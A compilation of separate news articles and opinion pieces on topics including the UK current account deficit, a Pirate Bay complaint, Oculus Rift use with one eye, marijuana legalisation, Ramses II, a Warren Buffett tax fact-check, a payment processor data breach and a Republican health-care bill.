-Britain's current account deficit has ballooned to its highest ever level, official statistics showed yesterday, raising fresh concerns about the sustainability of the UK’s recovery.  The balance of payments gap shot up to £27bn in the three months to September, equal to 6 per cent of GDP. The current account deficit for the third quarter of 2013 was also revised up to 6 per cent. Both figures represent the biggest quarterly deficits registered since modern records began in 1955.  The previous record was set in the third quarter of 1988, during the Lawson boom, when the current account deficit, according to the latest figures, hit 5.1 per cent of GDP. Revisions to the GDP level since the Office for National Statistics’ previous balance of payments report revealed that the current account deficit in the 2013 calendar year was the highest annual deficit on record, at 4.5 per cent of GDP, beating the 4.4 per cent seen in 1989.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  Analysts warned that the deficit made the UK vulnerable to a sudden reversal of global capital flows. “If the UK falls out of favour with international investors for any reason, the economy might be forced to rebalance the hard way, with a combination of currency depreciation to make exports more competitive and lower domestic demand to suck in fewer imports,” said Simon Ward of HSBC.  The main cause of the balance of payments deterioration was slippage in the income account to minus £12.6bn, with a decline in the revenue earned by British firms on their overseas investments and an increase in the UK profits of overseas firms. The trade deficit for goods and services actually narrowed slightly over the quarter to £9bn.  In a further concerning sign, the ONS doubled its estimate for the fall in business investment in the third quarter from a 0.7 per cent to a 1.4 per cent decline. The annual rate of growth collapsed from 10.7 per cent to 5.2 per cent.  The ONS also confirmed that net trade and business investment dragged down growth in the three months, with almost all of the 0.7 per cent GDP growth coming from household consumption. The household savings rate in the quarter declined to 7 per cent, indicating people are financing their additional spending by saving less of their disposable income.  The ONS also made some sizeable downward revisions to GDP growth over the past year, taking the annual rate of growth in the third quarter from 3 per cent to 2.6 per cent. Those revisions will make it hard for the economy to grow in line with the Office for Budget Responsibility’s forecast this month for 3 per cent growth in 2014. The economy would need to grow by 2.2 per cent in the final quarter alone to hit that target. “The latest set of national accounts leave the UK’s economic recovery looking more fragile than it seemed before,” said Samuel Tombs of Capital Economics.  In the US, by contrast, growth in the third quarter was revised up to its strongest rate in 11 years. GDP rose 5 per cent on an annualised basis, up from the 3.9 per cent previously estimated. That news sent the benchmark Dow Jones index up above 18,000 for the first time ever, while the dollar also strengthened. “After four years of rocky recovery, the US economy is now hitting its stride and growth should remain good next year, with lower gasoline prices a big plus for consumers,” said Gus Faucher of PNC Financial Services.  Signs emerged yesterday of a further slowdown in the UK housing market. The British Bankers’ Association reported that mortgage approvals last month were down 20 per cent on November 2013, from 45,594 to 36,717.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-The Pirate Bay dropped the dime on an anti-piracy agency it claims illegally copied system files to create a "fraudulent parody site."  The Pirate Bay, as you may already know, is the world's largest file sharing site, and as its name suggest it has a certain propensity toward, shall we say, content that is not necessarily respectful of the copyright laws of the land. But while it doesn't have much respect for copyright, it has even less respect for those who disrespect copyright in the name of copyright. The Pirate Bay alleges that Finland's Copyright Information and Anti-Piracy Center unlawfully used some of its materials to create a parody site - piraattilahti.fi, complete with a sinking galleon - and so it called the police.  "While The Pirate Bay may have a positive view on copying, it will not stand by and watch copyright enforcing organizations disrespect copyright," The Pirate Bay said in a press release. "It's funny that we have to teach the copyright lobby the meaning of the law. The fact that they wrote it doesn't mean that they are above it."  The Pirate Bay claimed the CPIAC "is not new to balancing on the edge of what's right and wrong," noting that the group instigated a police raid in 2012 against a nine-year-old girl who had downloaded music from the internet, which resulted in the confiscation of her Winnie the Pooh laptop.  "CIAPC is like an ugly high school bully without friends," the statement said. "It's time to take a stand. Cyber bullying is a serious matter to us all."  The Pirate Bay also pledged that any financial award it wins as a result of this case will go toward replacing the girl's laptop.  Source: The Pirate Bay
-Kotaku East East is your slice of Asian internet culture, bringing you the latest talking points from Japan, Korea, China and beyond. Tune in every morning from 4am to 8am.  A few weeks back, I received an email from a reader who was blind in one eye and wanted to know how the Oculus Rift would work for him. I thought it was an interesting question but honestly didn't know the answer, so I put it to the back of my mind. Then this last weekend I went in for Lasik surgery. It didn't go well.  Simply put, the surgery was a failure and while the doctor is hopeful that I will make a full recovery in the coming months, I have been effectively blind in my right eye for the past few days. So in an attempt to turn something horrible into something useful to others, I decided to see what Oculus Rift is like for those with only one functioning eye.  I started simple with a little tech demo called GirlMirrorLook. Basically, you are a girl in a small villa surrounded by beautiful scenery. There is also a mirror.  Now, in recent weeks, I had spent more than a little time with the Rift, but I was still surprised when I put the Rift on in my one-eyed state; everything still looked like it was in 3D. I still felt like I could reach out and touch the objects I was seeing—they just seemed a little flatter somehow. The objects didn’t quite pop out of the frame like they had before. After all, how could they? Stereoscopic 3D is impossible with just one eye.  Advertisement  However, due to the screen completely enveloping my peripheral vision, I was still visually immersed in the game. And since when I moved my head the camera moved identically in my Rift-vision, my brain seemed happy to interpret it as what I was really seeing—regardless of whether objects had the 3D “pop” or not.  Advertisement  I tried out another few tech demos—a room full of Hatsune Miku knock-offs, a Rift version of Tetris—and they seemed to be a comparably immersive experience to what I had had when playing the Rift with both eyes.  So it wasn't until I tried playing Proton Pulse Rift, the first real game I ever played on the Rift, that the lack of Stereoscopic 3D became an issue. Proton Pulse is an Arkanoid/Breakout-style game where you look down a long vector graphics corridor and block a bouncing ball with a semi-transparent paddle controlled by your head movements. Without the Stereoscopic 3D, it was much harder to judge how far the ball was from me at any given time. Like in the real world, I had lost my depth perception.  Advertisement  Lastly, I decided to try out something a bit more flashy and fast-paced in the form of Half Life 2: Episode 2. I only played through the first ten minutes or so, but there was one major issue I noticed when compared to my several hour stint last week with Half Life 2: Episode 1: the motion blur is much, much worse. Perhaps it is just that having two eyes lets you filter out the blur better, but every time I made a big, quick head or camera movement, my vision became little more than a mass of color. Despite this, however, the game was still quite playable.  Advertisement  In the end, I was really surprised at how well the Oculus Rift worked with only one eye. The immersion factor was still strong—I still felt like I was in the game and not in my living room. The motion blur and lack of depth perception were downsides to be sure, but everything was still perfectly playable.  And on one level, at least, playing one-eyed was definitely superior. I never felt even the least bit queasy.  Kotaku East is your slice of Asian internet culture, bringing you the latest talking points from Japan, Korea, China and beyond. Tune in every morning from 4am to 8am.  Advertisement  This Is Kotaku East As more and more publications are dialing down their Japan coverage, Kotaku had this crazy idea:… Read more Read
-Cognitive liberty is the concept that an individual has absolute sovereignty over their state of consciousness as long as it does not infringe on the rights of another. This includes the use of meditation, prayer, and psychoactive drugs, as well as the right to not be force-fed any psychoactive drug against one’s will.  Currently, cognitive liberty is not a very much respected philosophy in American politics. Most psychoactive drugs like cannabis, psilocybin mushrooms, LSD, and mescaline are considered illegal to possess and consume. Similarly, we see young children all throughout the nation being force-fed certain psychoactive drugs (the “good kinds”) in name of “normal thinking” and “normal behavior.”  As a libertarian, I feel cognitive liberty is a necessary component to any free society. I have written numerous times about my disdain for the War On Drugs and specifically the failure that is marijuana prohibition.  I am also against our tendency as a society to administer psychoactive drugs so carelessly and with so little respect for the free choice of young people and the mentally ill. It is an awful thing to offer a drug to any person without appropriately informing them on what the drug is supposed to do or how it might make them feel. We should also explain to children very clearly that they have a choice whether or not to continue taking the drug if they don’t like its effects. It often happens where a child’s personal interest is put secondary or even overlooked completely.  Let it be known that I do think there are cases where someone needs to be given a drug against their will (maybe if they are unconscious or completely delusional and incoherent). But these situations are limited, and I think it is safe to say that society and government has overstepped its boundaries on more than a couple fronts when it comes to this issue.  Who really has the authority to tell a conscious and thinking being what they can and cannot put into their body or how they should experience reality? I don’t consider it justified for any free society to draw such arbitrary distinctions between what is “good” or “bad” for an individual if that individual is exercising their own rational free choice. People have different values and interests in life – this is the same dimension of diversity that characterizes all of nature and what has made evolution possible.  The act of consuming drugs is a victimless crime, and it does not justify people getting locked up in prison or having a criminal record that inhibits them from ever getting a good job or building a bright future. Drugs have been present in every society known to man and it is time we respect their place in the structure of our humanity. It is one thing to advise others against the use of certain drugs, and it is another to try to banish their existence or ignore it entirely.  I am perfectly comfortable acknowledging the fact that some drugs have negative consequences while still promoting the freedom for others to use these same drugs. For one thing, negative consequences are a part of all decisions we make – it does not mean we sacrifice our freedom to make those decisions. To borrow from something I wrote in a recent article about government spending,  “Just because half of American marriages end in a divorce doesn’t mean we want the government to make decisions on who we should marry. Life is filled with mistakes; it is how we learn, and it is a part of freedom.”  If you really want to help those who are dependent on drugs – or if you really want to make a long lasting change in any individual’s behavior – then you need to appeal to that person’s reason. You can not rule a rationally thinking person by force. And yes, even a drug addict has his or her own mode of rational thought in accordance with their own values and interests.  When people value something strong enough, they find a way to go against government restrictions in order to satisfy that want. This is why prohibition always leads to a black market for goods that society finds valuable.  When will people recognize that others value these drugs? When will we learn to tolerate these differences? If we really want to make a positive change than we need to re-think freedom and re-think the way we influence others if we want to continue living in a free society. If we don’t accept the notion of cognitive liberty, if we sacrifice those fundamental principles of self-ownership and freedom of thought, then in what ways are we really free anymore?  To learn more please visit The Center For Cognitive Liberty & Ethics, which includes notable members like visionary artist Alex Grey, libertarian psychiatrist Thomas Szasz, and psychedelic researcher Ralph Metzner (who used to work with Timothy Leary).
-Three people from Blount County are facing felony reckless endangerment charges after deputies say they forced a minor to inject methamphetamine.  Deputies say 29-year-old Samuel Thomas Hill, 32-year-old Michael Eugene Hill and 18-year-old Felicia Faith Hannah lured a 17-year-old girl in the bedroom of Samuel Hill’s home at Butterfly Gap Loop Road on Tuesday, held her down by her arms and injected her with methamphetamine.  - Advertisement -  Investigators say the girl was injected with meth against her will. She later had bruising on her arms and tested positive for methamphetamine at a hospital.  Samuel and Michael Hill are being held on a $25,000 bond and have a court date on April 8th. A bond has not been set for Hannah at this time.  The incident is still under investigation.
-Christopher Garza said he knows he shouldn't have been driving his muscle car at 158 mph early Friday on the Indiana Toll Road near Gary — he just wanted to help his buddy clear his mind by showing him how fast his new ride could go.  When the 30-year-old from Chicago passed an Indiana State Trooper squad car, he decided to slow down and own up, he said.  "Obviously, what I did was very dumb," Garza said Friday afternoon.  The trooper was parked in his squad car at mile marker 13, three miles east of the Cline Avenue exit, when at 1:31 a.m. he saw a black 2016 Dodge Challenger Hellcat traveling "at a high rate of speed," the release states.  The trooper clocked the Challenger at 158 mph in a "well-posted 70 mph zone," and clocked the car a second time at 151 mph, according to police. The car "rapidly decreased its speed" when it passed the police car, according to the release, and the trooper pulled Garza over.  Garza told police he knew he was doing 160 mph and wanted to show his friend "what his 707-horsepower engine could do" and "thought the Indiana Toll Road would be the safest place to do this since it was empty," the release states.  "It was not my intention for us to get busted," Garza said.  Garza's friend, an injured service member, had recently returned home, he said. Because the two like to work on cars and trucks together, he decided to take him for a ride in the Hellcat to distract him from his troubles, he said.  "Really, I was just kind of getting my buddy's mind off of reality for a little bit," Garza said.  They've taken cars to tracks before, where Garza said he has gotten the Hellcat "up to 184," 16 shy of the speedometer's 200 mph max.  Indiana State Police An Indiana State Police trooper took a picture of the speed clock before arresting Chicagoan Christopher Garza for reckless driving. An Indiana State Police trooper took a picture of the speed clock before arresting Chicagoan Christopher Garza for reckless driving. (Indiana State Police)  "As Ricky Bobby once said, I just want to go fast," Garza joked, referencing the protagonist in the comedy "Talladega Nights."  But he also said, "I'm pro-law enforcement. I'm pro-military. And I'm pro-not breaking the law."  "The moral of the story is I know the risk I take every time I decide to speed," Garza said. "This was the lesser of the consequences to suffer going such a high speed. I'm kind of fortunate that I learned my lesson through jail."  When asked whether state troopers have witnessed drivers traveling at higher speeds, state police spokeswoman Sgt. Ann Wojas said in an email that "it's right up there." While police "do see over 100 mph," it's "not usually in the 150s," Wojas said.  Lake County sheriff's Deputy Chief Dan Murchek said his officers have encountered speeders driving over 100 mph, although not recently. The speed that Garza was driving at was "an extremely excessive speed," and he noted "it's dangerous to do that" for public safety and the officers involved.  Garza was arrested and taken to Lake County Jail, where he was bailed out Friday, and the Hellcat was towed. Going forward, Garza knows he'll have to appear in court.  Still, Garza said his buddy "had a great time last night and that's all that matters to (him)."  "I'll deal with the consequences," Garza said.  rejacobs@post-trib.com  Twitter @ruthyjacobs
-Introduction of Ramses II  Ramses II was the third ruler in the 19th Dynasty (also known as the New Kingdom Period) and was born in 1303 BC. This pharaoh is many times referred to as Ramses the Great. Some alternative spellings for this Ancient Egyptian pharaoh are Rameses and Ramesses. Ramses II is also believed to be the pharaoh mentioned in the biblical story of Moses which gives him additional importance in history.  Ramses II’s Family  His father, Seti I, appointed Ramses II Prince Regent at the age of fourteen. After the death of his father, Ramses II then became pharaoh and ruled Egypt for many decades. Ramses II took the throne in his very late teens or early twenties. It is believed that Ramses II ruled from 1279 BC to 1213 BC for a total of 66 years. Ramses II had many wives and fathered about 100 children during his lifetime; although, the actual number is not known. At the time of his death, Ramses II was over 90 years of age and due to his longevity outlived many of his offspring, wives, and family members. Living this long was almost unheard of for people of that time. During his lifetime, Ramses II celebrated an unprecedented 14 Sed Festivals. These Sed Festivals were held after 30 years of a pharaoh’s reign and then every three years thereafter. The Sed Festivals were meant to celebrate the continued success of a pharaoh and also to rejuvenate a king’s strength.  Ramses II’s father was Seti I and his mother was Queen Tuya. Ramses II’s chief wife and consort was Nefertari although he had many other wives as well. Two other known wives are Isetnofret and Maathorneferure. It is believed that 12 sons died during Ramses II’s lifetime. Upon Ramses II’s death, he was succeeded by his thirteenth son Merenptah (aka Merneptah). Merneptah was thought to be between 55 or 60 years old when he actually took over the throne. Merneptah went on to rule for about ten years.  Ramses II’s Mummy  Due to the great discovery of Ramses II’s mummified body, Egyptologists and scientists have since been able to piece together some great information about this pharaoh. For example, upon analysis of Ramses II’s remains, the pharaoh is thought to have had red hair. Because this was not a prominent characteristic in Ancient Egypt, it most probably helped set him apart from other citizens of that time. In addition to standing out from the general population, persons with red hair were also seen as followers of the God Seth. Regarding other characteristics, Ramses II’s mummy further revealed that he had a hook nose with a strong jaw line and was about 5 feet 7 inches tall. It was also revealed that he was ridden with arthritis.  In addition to finding Ramses II’s mummy and learning more about this pharaoh’s attributes, information regarding the movement of his corpse was revealed through a linen cloth found wrapped around the mummified body. The linen cloth contained hieroglyphic pictures and provided details of how this move was accomplished in order to protect the pharaoh’s body from looters. The recordings revealed that Ramses II had been originally buried in the tomb KV7 (Valley of the Kings), but then the body was rewrapped and transferred to a holding area; the tomb of Queen Inhapy. It appears that within 72 hours, the body was again moved. This time it was moved to the tomb of the High Priest Pinudjem II. Today, Ramses II’s mummy can be found at Cairo’s Egyptian Museum.  More study of this great pharaoh reveals that toward the end of Ramses II’s reign, he developed serious health problems; although, these can be mostly attributed to old age. It appears that Ramses II walked with a hunched back due to his arthritis, had a hardening of the arteries, and had severe dental problems (abscessed tooth issues caused by bacterial infections).  Before Ramses II came to power, two thousand years of Pharaohs had come to rule before him, and the pyramids had been standing for at least a thousand years. By the time Ramses II died, he had accomplished many things. He was known as warrior, great king, family man, and venerated as a god. He had acquired several wives, many offspring, and had made the country wealthy by collecting riches and supplies from other empires. Due to his love of architecture, he had also created many memorials throughout Egypt. Some of the memorials completed were especially created for his first queen, Nefertari. Upon his death,  at least nine pharaohs are known to have taken the name Ramses; however, none came close to leaving the legacy that Ramses II had left for Egypt and the world except for one – Ramses III. As history continues to reveal more about this great pharaoh, his success most likely came as a result of being the master of propaganda and politics.
-Says Warren Buffett has publicly said his secretary "should not be paying a higher tax rate" than him.  During the second presidential debate, Hillary Clinton argued against tax rules that allow the ultra-rich to pay lower rates than the middle class. She said she would change them as president, a move that has become known as the "Buffett rule."  "Warren Buffett is the one who's gone out and said somebody like him should not be paying a lower tax rate than his secretary," Clinton said.  Warren Buffett is the CEO of Berkshire Hathaway Inc. Forbes estimates him to be worth $64.3 billion and one of the richest men in the world. He is also a Hillary Clinton supporter and has sparred with Donald Trump over Trump’s refusal to release his tax returns.  Urging major tax changes, Buffett has repeatedly said he pays a lower tax rate than his secretary and other employees.  In 2007, Buffett told NBC Nightly News that he pays a smaller tax rate than multiple employees in his office.  In 2011, Buffett wrote an op-ed in the New York Times called "Stop Coddling the Super-Rich." In the article, Buffett said that his taxes amounted to "only 17.4 percent of my taxable income — and that’s actually a lower percentage than was paid by any of the other 20 people in our office."  In 2013, he told CNBC that while his tax rate rose 8 to 9 points more that year, "The differential between me and the rest of the office, not just my secretary but the rest of the office, was greater than that. It'll be closer, but I'll probably be the lowest-paying taxpayer in the office."  A quick phone call to Buffett’s office confirmed this fact-check. Buffett’s assistant Debbie Bosanek -- the secretary Buffett mentions -- confirmed her boss pays a lower tax rate than she does.  So, how can this be?  Buffett’s op-ed says his tax rate is lower than his employees’ because money made off investments is taxed at a lower rate than wage income  "If you make money with money, as some of my super-rich friends do, your percentage may be a bit lower than mine. But if you earn money from a job, your percentage will surely exceed mine — most likely by a lot," Buffett said.  Personal income is taxed based on how much a person makes each year. In 2016, the brackets range from 10 percent for those making $9,275 or less, to a top marginal rate of 39.6 percent for those making $415,051 or more. Meanwhile, the tax rate on long-term capital gains -- the profits from investments -- is 15 percent. However, if the taxpayer's taxable income is greater than $415,051, their long term capital gains are taxed at 20 percent.  Here are the current rates for a single taxpayer.  Taxable Income Tax Rate $0 to $9,275 10% $9,276 to $37,650 $927.50 plus 15% of the amount over $9,275 $37,651 to $91,150 $5,183.75 plus 25% of the amount over $37,650 $91,151 to $190,150 $18,558.75 plus 28% of the amount over $91,150 $190,151 to $413,350 $46,278.75 plus 33% of the amount over $190,150 $413,351 to $415,050 $119,934.75 plus 35% of the amount over $413,350 $415,051 or more $120,529.75 plus 39.6% of the amount over $415,050  On Oct. 10, 2016, Buffett released details about his personal tax data in a statement titled, "Some Tax Facts for Donald Trump." He says he paid $1.85 million in federal taxes in 2015, and his adjusted gross income was $11.6 million. That means he paid 15.9 percent in effective federal income tax.  Lawrence Zelenak, a Duke University law professor, said in an email most taxpayers with incomes in the low six figures have a higher rate than 16 percent.  "That's true even if you consider only federal income tax. Add in payroll tax and Buffet's rate becomes even lower compared with his secretary," he said.  Payroll taxes are separate from income taxes, and are deducted by your employer before you get your paycheck. These taxes pay for Medicare and Social Security. The employee tax rate for Social Security is typically 6.2 percent of your gross income, up to $113,700, and 1.45 percent on all income for Medicare.  These two rates are not progressive or applied to all income, so as income increases, they make up a smaller percentage of the total income.  Since Buffett makes the majority of his money from investments, his wage income -- and therefore his payroll taxes -- are low. But those who work for a living, especially those who make higher than average salaries, get taxed at higher rates. We don’t know what salary Buffett’s secretary earns, but it’s likely much higher than the median pay for secretaries. (Remember that Buffett is one of the richest men in the world.)  A study from the nonpartisan The Tax Policy Center says that people making between $100,000 and $200,000 pay an average 19.6 percent in taxes, including payroll and income taxes.  Our ruling  Clinton said Buffett claimed to pay a smaller tax rate than his secretary. Buffett’s secretary confirmed she pays a higher rate than her boss. Buffett said he pays about 16 percent in income taxes, while any employee making between $100,000 and $200,000 typically pays about 20 percent in taxes. We rate this claim True.
-The driver who left a woman trapped inside a burning, crashed car on the Gowanus Expressway wasn’t heartless — he was a hero, the man’s brother told The Post.  “He did not just run away from the scene. He lost his phone in the car [and was] unable to call the ambulance,” Waheed Ahmad, 21, said about his brother Saeed Ahmad, 23.  Ahmad crashed a 2007 Infiniti G35 sedan into a concrete barrier Friday morning and hailed a cab while his friend Harleen Grewal, 25, sat burning inside the passenger’s seat, police said.  “He tried to get her out. That’s how his hands and his legs and his neck got burned. He couldn’t get her out. The fire got too crazy. It just burned so quick,” said Ahmad’s distraught brother.  Saeed Ahmad “was in pain” and since “the ambulance wasn’t coming” he asked the taxi to take him to Maimonides Hospital in Borough Park, his brother said.  Police tracked Ahmad down to the hospital where he was charged with criminally negligent homicide, leaving the scene of an accident, aggravated unlicensed operation of a vehicle and speeding.  His family was told by cops that they couldn’t visit or speak to Ahmad until after his arraignment, the family told The Post at their Brooklyn home.  The hospital contacted Ahmad’s friend listed as his emergency contact who spoke to him before police arrived, the family said.  “Everything is chaos right now. We are shocked. It’s horrifying for the girl and her family,” said Waheed.  He added, “He’s emotionally distraught. Every time they ask him about what happened, he’s crying and screaming. His friend burned alive.”  Ahmad is being treated for burns to his extremities at the Staten Island University Hospital.
-Global Payments, a third-party payments processor at the center of a Visa and MasterCard security breach, reiterated Monday morning that while customer data may be at risk, the data breach has been "contained to the best of our ability."  Overall, 1.5 million accounts may have been affected.  Global Payments CEO Paul Garcia said that the "diligent work" may take some time, but it will complete the ongoing investigation and identify any changes that need to be implemented.  Garcia said the company will get its record of compliance back with Visa and MasterCard "as soon as possible." Executives were upbeat about Global Payments' ability to regain its record of compliance with credit card associations.  The company also said it wasn't aware of any fraudulent transactions taking place.  Separately, Global Payments reported third quarter earnings of $57.9 million, or 73 cents a share, on revenue of $533.5 million, up 17 percent from a year ago. Non-GAAP earnings in the third quarter were 83 cents a share. Wall Street was looking for earnings of 84 cents a share.  Global Payments projected 2012 revenue to be $2.15 billion to $2.2 billion. The company expects non-GAAP earnings of $3.50 a share to $3.58 a share. GAAP earnings were $3.10 a share to $3.18 a share.  Charges related to the breach weren't disclosed because the investigation is ongoing.  Approximately three weeks ago, the breach was discovered. Within hours, law enforcement had been contacted. Garcia described how the company "jumped on this instantly" and said that only a "handful of servers" were affected.  Here's what happened and when:  On Friday, it was first reported that Global Payments suffered a security breach, where as many 50,000 cardholders may have had their information exposed.  Global Payments processes card payments between merchants and banks, sitting in the "middle-ground" directing where payment data should go.  Brian Krebs, who first reported the breach, initially warned that 10 million cards may be compromised. On Sunday, Global Payments revised down Krebs' figure as it confirmed as many as 1.5 million Visa and MasterCard accounts may have been compromised by the security breach.  While card numbers may have been downloaded from its systems, no other personal data -- such as names, addresses, or Social Security numbers -- were accessed.  Both Visa and MasterCard confirmed there was no breach to its own systems.  Visa and MasterCard both sent out non-public alerts to banks to warn of the breach, which was thought to have occurred between January 21 and February 25, as Global Payments informed law enforcement and brought in an independent data security organization to inspect any damage.  Visa, as a result of the breach, removed Global Payments from its list of approved service providers, but invited it to reapply once it submits evidence to show its security is "in compliance with Visa's standards."  MasterCard said it had not followed Visa's move, but was awaiting the result of an independent forensic investigation before it made any decision.  The Associated Press reported that a technical problem affected the Visa network for 45 minutes on Sunday evening, which resulted in users unable to use their credit and debit cards. Visa confirmed this was not as a result of the recent security breach.  While the reputation of Visa and MasterCard stands in jeopardy, Global Payments lies in ruins. But Jefferies analyst Jason Kupferberg said that the processor can weather the storm.  The processor has $300 million to $400 million in unrestricted cash, which could pay for the damage left by the breach, compared to figures by the 2009 Heartland data breach, in which 130 million accounts ran compromised. Analysts weighed in almost immediately after the breach with their opinions.  This story originally posted as "Global Payments: Data breach is contained" on ZDNet.
-Texans' attitudes shifting along with U.S. on legalizing pot  Gov. Rick Perry’s objections to a law designed to halt prison rape appear to be about his aversion to federal involvement. Gov. Rick Perry’s objections to a law designed to halt prison rape appear to be about his aversion to federal involvement. Photo: Justin Hayworth, FRE Photo: Justin Hayworth, FRE Image 1 of / 25 Caption Close Texans' attitudes shifting along with U.S. on legalizing pot 1 / 25 Back to Gallery  SAN ANTONIO — Whether it's for economic, medical or personal liberty reasons, more and more Texans are taking the position that marijuana should be legal.  About half of Texans — 49 percent — support legalizing small amounts of marijuana for recreational use, and 77 percent support legalizing medical marijuana, according to a University of Texas/Texas Tribune poll released this week. Nationally, 58 percent of Americans say pot should be legalized, according to an October Gallup poll.  “Texas, like the rest of the country, is coming to the realization that we can no longer afford to imprison thousands of our citizens for consuming a substance much less harmful than alcohol and much less addictive than cigarettes,” said Gerry Goldstein, a nationally renowned defense attorney based in San Antonio who has represented drug cartel kingpins and journalist Hunter S. Thompson, among others.  About 73,611 adults in Texas were arrested last year for marijuana possession, according to Department of Public Safety data, accounting for 59 percent of all drug possession arrests in the state.  Goldstein said the state spends more than $50,000 a year to house each prisoner.  “We could be sending these folks to Harvard,” he said.  Mike Helle, president of the San Antonio Police Officers Association, said his organization has “so many different pressing issues right now that legalizing marijuana is not a priority,” but that if police did not have to worry about Class B misdemeanors for pot possession, “you could free up thousands, if not millions, of dollars in manpower alone.”  “You want to talk about freeing up resources,” Helle said. “But as police officers, we enforce the laws, not create them.”  In Texas, an offender with less than 2 ounces of marijuana can be sentenced to up to 180 days in jail and a fine of up to $2,000. An offender with more than 5 pounds faces up to two years in jail.  Ana Yañez-Correa, executive director of the Texas Criminal Justice Coalition, a policy research group advocating for criminal justice reform, said she isn't surprised at the poll results.  “People in general understand arresting someone for the use of marijuana is more likely to waste taxpayer dollars and law enforcement's time than to deter use,” Yañez-Correa said. “That's why you see libertarians, members of the tea party and Democrats all saying the same thing on this issue.”  At an international conference last month, Gov. Rick Perry touted Texas drug courts and forms of decriminalization, or lessening of criminal penalties, for marijuana use, calling it an economic issue.  Perry made clear he does not support legalization, but said he supports individual states' rights to legalize the drug and predicted Texas would not do so anytime soon.  The governor's comments added fuel to an already burning issue across the country and state. Washington and Colorado became the first states to legalize marijuana for recreational use for adults last year, and more than 20 states have legalized pot for medicinal purposes.  State Sen. Wendy Davis, a Fort Worth Democrat running to replace Perry as governor, has said she supports medical marijuana. Attorney General Greg Abbott, the likely Republican candidate for governor, has said he opposes decriminalization or legalization and that Texas' current laws — outlawing any use of marijuana — should be better enforced.  “Legalizing drugs would encourage drug use, which affects every sector of society, straining our economy, our health care and criminal justice systems, and endangering the lives of future generations,” a spokesman for Abbott said last month.  The Texas poll, which surveyed 1,200 registered voters, found only 23 percent of respondents said marijuana should remain illegal in all cases in the state. About 49 percent said marijuana should be legal for any use, including recreational, either in small quantities (32 percent) or any amount (17 percent).  “How can we as a society deny people who need marijuana for medical treatment?” Yañez-Correa said.  Marijuana is prescribed for a wide range of medical issues in states that allow medicinal use.  For example, it is prescribed to glaucoma patients, people undergoing chemotherapy for cancer to boost their appetite, insomnia, pain relief, seizures and muscle spasms.  The University of Texas/Texas Tribune poll methodology has been criticized by other polling outfits and some media outlets because it is an Internet opt-in survey.  In 2011, the American Association for Public Opinion labeled the methodology as unreliable because it is not completely random.  The poll was conducted Feb. 7-17 and the margin of error is 2.83 percentage points.  “Hundreds of thousands of people around the world have died from an overdose of aspirin,” Goldstein said. “Find me a physician who has ever admitted a patient for an overdose of marijuana.”  kparker@express-news.net  Twitter: @KoltenParker
-The House vote on the GOP’s ObamaCare repeal bill is down to the wire, with dozens of Republicans waffling as “undecideds.” What’s the holdup? Ninety-six percent of people who have to buy their own insurance stand to benefit from this bill, which will likely drive down premiums by double digits.  The remaining 4 percent — those with pre-existing conditions — will be protected by a federal fund to subsidize their insurance costs. They won’t get priced out of the market, because the fund will pay the lion’s share of their premiums.  But some Republicans are running scared. Although the bill solves two problems — lowering premiums and protecting people with pre-existing conditions — these fence-sitters are worried about something else: getting re-elected.  As a member of the New York delegation put it, the issue is “optics.” They’re cowed by the media’s false reports that the GOP is abandoning people with pre-existing conditions.  In fact, no one wants to do that. There is a consensus that people with pre-existing conditions should be able to get insurance. The issue is who pays the hefty price tag.  ObamaCare forced healthy buyers in the individual market to foot the entire bill. That’s why their premiums have doubled since the law went into effect.  The new House bill sets up a fairer way: a $130 billion pot of federal money to pay for people with pre-existing conditions. The entire nation chips in, not just people stuck in the individual market.  see also ObamaCare replacement bill is on the verge of dying WASHINGTON — House Republican leaders frantically trying to convince moderate...  Under ObamaCare, the healthy and the chronically ill paid the same premiums. It’s called community pricing. Healthy people would never reach their sky-high deductibles.  Instead the premiums extorted from them would be used to cover huge medical bills for the chronically ill, who consume 10 times as much medical care.  In fact, Aetna CEO Mark Bertolini reports that less than 5 percent of ObamaCare enrollees consume over half of the health care. Most healthy people saw that being charged the same as these sick people was fundamentally unfair and refused to sign up.  ObamaCare’s community pricing was the single biggest reason premiums have doubled since 2013, according to actuarial consultants at Milliman.  The GOP bill offers a solution. States can choose to get a waiver from ObamaCare’s community-pricing rule, so that insurers can sell to healthy people at a far lower cost. States that get the waiver should see double-digit premium decreases for the healthy almost immediately.  Naysayers claim the federal fund to subsidize people with pre-existing conditions won’t be adequate. Nonsense.  How many people will need help? Not as many as Democrats claim.  Before ObamaCare, 250,000 people a year with pre-existing conditions were denied coverage for health reasons by major insurers. Most of them got help through state high-risk programs, but these no longer exist.  In 2010, the ACA established a temporary program for people not being helped by the state high-risk programs. About 115,000 enrolled there.  Adding the two figures together, count on 365,000 people to need help paying for their premiums because of their medical histories. To be safe, call it 400,000.  Based on the $32,000 per person the ACA’s temporary program spent insuring people with pre-existing conditions, the federal fund will need $12.8 billion a year. So the $13 billion a year the GOP bill provides is likely adequate.  New York ruined its individual insurance market two decades ago by imposing community pricing, which drove out healthy buyers. Don’t count on the state Legislature here to wise up, get a waiver and offer low prices to most buyers.  But several states — Alaska, Minnesota, Idaho and Oklahoma among them — have already acted, without waiting for Congress. They used state funds to help cover the sickest people, and relieve pressure on healthy premium payers. Alaska averted a 40 percent premium hike that way last year.  Let’s see, the funding is adequate, and the approach works. Spineless politicians whining about “optics” should look in the mirror. What they’re really missing is backbone.  Betsy McCaughey is a senior fellow at the London Center for Policy Research and author of “Beating Obamacare.”
